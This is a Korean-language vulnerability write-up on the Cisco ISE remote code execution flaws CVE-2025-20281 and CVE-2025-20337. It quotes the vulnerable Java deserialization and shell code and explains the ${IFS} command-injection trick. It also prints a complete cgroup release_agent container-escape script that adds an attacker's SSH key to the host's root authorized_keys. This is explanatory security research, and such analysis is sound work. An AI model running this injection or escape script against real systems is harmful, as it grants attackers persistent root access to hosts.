[하루한줄] CVE-2025-20281/CVE-2025-20337 : Cisco Identity Services Engine의 원격 코드 실행 취약점
URL
Target
- CVE-2025-20281
- Cisco ISE ≤ 3.3
- Cisco ISE-PIC ≤ 3.3
- CVE-2025-20282
- Cisco ISE ≤ 3.4
- Cisco ISE-PIC ≤ 3.4
Explain
CVE-2025-20281/CVE-2025-20337은 Cisco의 NAC 솔루션, ISE(Identity Service Engine)에서 발생한 RCE 취약점입니다.
취약점은 invokeStrongSwanShellScript
메서드에 존재합니다.
private void enableStrongSwanTunnel(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.debug("Handling enableStrongSwanTunnel request ..");
try {
logger.debug("Enable Native IPSec Tunnel is triggered.");
ObjectInputStream var3 = new ObjectInputStream(var1.getInputStream()); // [1]
String[] var4 = (String[])var3.readObject(); // [2]
...
Process var7 = this.invokeStrongSwanShellScript(var5, var6, "enable ", var4); // [3]
...
}
}
enableStrongSwanTunnel
의 [1]에서 아무런 검증없이 클라이언트 HTTP 요청을 읽어옵니다. 이후 [2]에서 readObject()
를 통해 역직렬화 객체가 생성됩니다. 해당 객체는 별도의 검증없이 invokeStrongSwanShellScript()
로 전달되어 쉘 스크립트 실행에 사용되게 됩니다.
private Process invokeStrongSwanShellScript(File var1, File var2, String var3, String[] var4) throws IOException, InterruptedException {
...
String var5 = "/usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh ".concat(var3).concat(var4[0]); // [4]
logger.debug("Command is :: {}", var5);
Process var6 = Runtime.getRuntime().exec(var5);
...
}
호출된 함수에서 역직렬화된 객체는 [4]에서 볼 수 있듯이 configureStrongSwan.sh
의 2번째 인자로 전달됩니다.
# configureStrongSwan.sh
OPERATION=$1
IKE_ID="$2"
...
elif [ "$OPERATION" == "enable" ]; then
enableStrongSwan "$IKE_ID" # [1]
fi
enableStrongSwan(){
...
retval=$(verifyIpsecConnectionStatus "$1") # [2]
...
}
verifyIpsecConnectionStatus(){
cmd="swanctl -l --ike "
arg="$1" #
statusCmd="${cmd}${arg}" #
retval=$(docker exec strongswan-container /bin/bash -c "$statusCmd") # [3]
...
}
전달된 인자는 [1]에서 enableStrongSwan
함수 실행에 인자로 사용되고 이를 거쳐 [2]에서 verifyIpsecConnectionStatus
의 인자로 전달됩니다. 해당 인자는 docker exec
명령어를 통해 컨테이너안에서 swanctl -l -like $client_http_reqest
형태로 실행되게 됩니다.
하지만 Java에서 string command를 exec
의 인자로 넘겨줄 경우 StringTokenizer
클래스로 직렬화되고 , 해당 클래스는 따옴표나 스페이스를 지원하지 않고 설계 상 토크로 분리하므로 명령 전달 시 스페이스 문자를 대신하여 internal field separator 변수인 ${IFS}
를 사용해야 합니다.
Escaping Container
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc // [1]
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agent // [2]
echo \#\!/bin/bash > simulate.sh ; echo "mkdir /root/.ssh" >> simulate.sh ; echo "echo 'ssh-rsa [public key here] attacker' > /root/.ssh/authorized_keys" >> simulate.sh; chmod +x simulate.sh // [3]
echo "0" | tee /tmp/esc/w/cgroup.procs // [4]
위의 취약점을 이용해 획득한 docekr 컨테이너 내부 root 권한을 통해 host로 container escaping이 가능한 스크립트입니다. 해당 스크립트에는 2019 BlackHat에서 발표된 “User-Mode Helper” 기술이 이용되었습니다.
먼저 [1]에서 공격자는 컨테이너 내부에 /tmp/esc
디렉토리를 생성하고, 이곳에 리눅스 cgroup
파일 시스템을 마운트합니다.
다음으로 [2] 에서는notify_on_release
옵션을 활성화하여 해당 cgroup 내의 모든 프로세스가 종료될 때 특정 명령이 실행되도록 예약합니다. 이때 실행될 release_agent
프로그램의 경로를 지정해야 하는데, 이 경로는 반드시 호스트 시스템의 절대 경로여야 합니다. 공격자는 컨테이너 내부 경로가 호스트에서 가지는 실제 경로를 알아내고, 이를 기반으로 악성 스크립트(simulate.sh
)의 정확한 위치를 지정합니다.
[3] 에서는 호스트 커널이 실행할 악성 스크립트, simulate.sh
를 작성합니다. 이 스크립트의 내용은 공격자의 SSH 공개 키를 호스트의 /root/.ssh/authorized_keys
파일에 추가하는 것입니다.
마지막으로 [4]에서 파이프라인(|
)을 이용해 tee
명령어를 실행시켜 kernel에서 cgroup을 통해 악성 스크립트가 실행되게 합니다 . 이 명령이 실행되면 tee
프로세스는 아주 짧은 시간 동안 cgroup의 유일한 멤버가 되었다가 즉시 종료됩니다. tee
프로세스가 사라지면서 cgroup이 비워지자, notify_on_release
기능이 작동하여 release_agent
에 지정된 simulate.sh
스크립트가 호스트 커널에 의해 root
권한으로 실행됩니다.
Cisco는 제보된 두 개의 개별 취약점을 단일 문제로 판단하여 하나의 CVE번호(CVE-2025-20281)만으로 통합하여 2025년 8월 5일에 패치를 배포했습니다.
하지만 이후 2025년8월 12일, Cisco는 권고문을 수정하며 기존 입장을 번복했습니다. Cisco는 다른 취약점에 대해 새로운 식별번호인 CVE-2025-20337을 부여하고, 이를 해결하기 위한 추가 패치를 발표했습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.